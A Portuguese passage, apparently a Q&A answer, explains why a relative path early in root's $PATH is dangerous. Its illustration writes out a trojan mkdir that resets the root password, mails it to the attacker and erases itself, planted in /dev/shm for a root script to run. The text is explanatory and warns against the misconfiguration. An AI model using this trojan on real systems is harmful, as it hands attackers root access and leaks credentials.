Existem dois problemas com o caminho que você está usando.
- O caminho é relativo.
- O caminho relativo vem antes dos caminhos principais.
Vamos supor que você tenha o seguinte script de shell que você usa como root para atualizar algum aplicativo da web e tenha definido o $PATH
sendo usado em /etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
Para um invasor, você está fornecendo um meio de executar algo no shell que é controlado pelo invasor. Uma forma de ataque ficaria assim: onde estou tentando subverter o controle da chamada mkdir
no script vulnerável.
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
Depois, espero que você atualize sua webapp.
Agora, o que acontece é que o script vulnerável muda para /dev/shm
. Quando ele faz isso e executa mkdir
ele encontra o programa apps/java/bin/mkdir
primeiro, que neste caso redefine a senha de root, envia um email para o invasor da nova senha root, na verdade chama o% realmkdir
(para ocultar o fato realmente aconteceu) e se remove do caminho de ataque.
Como root, você não tem nenhuma ideia do que aconteceu e a evidência é apagada assim que a carga útil for entregue.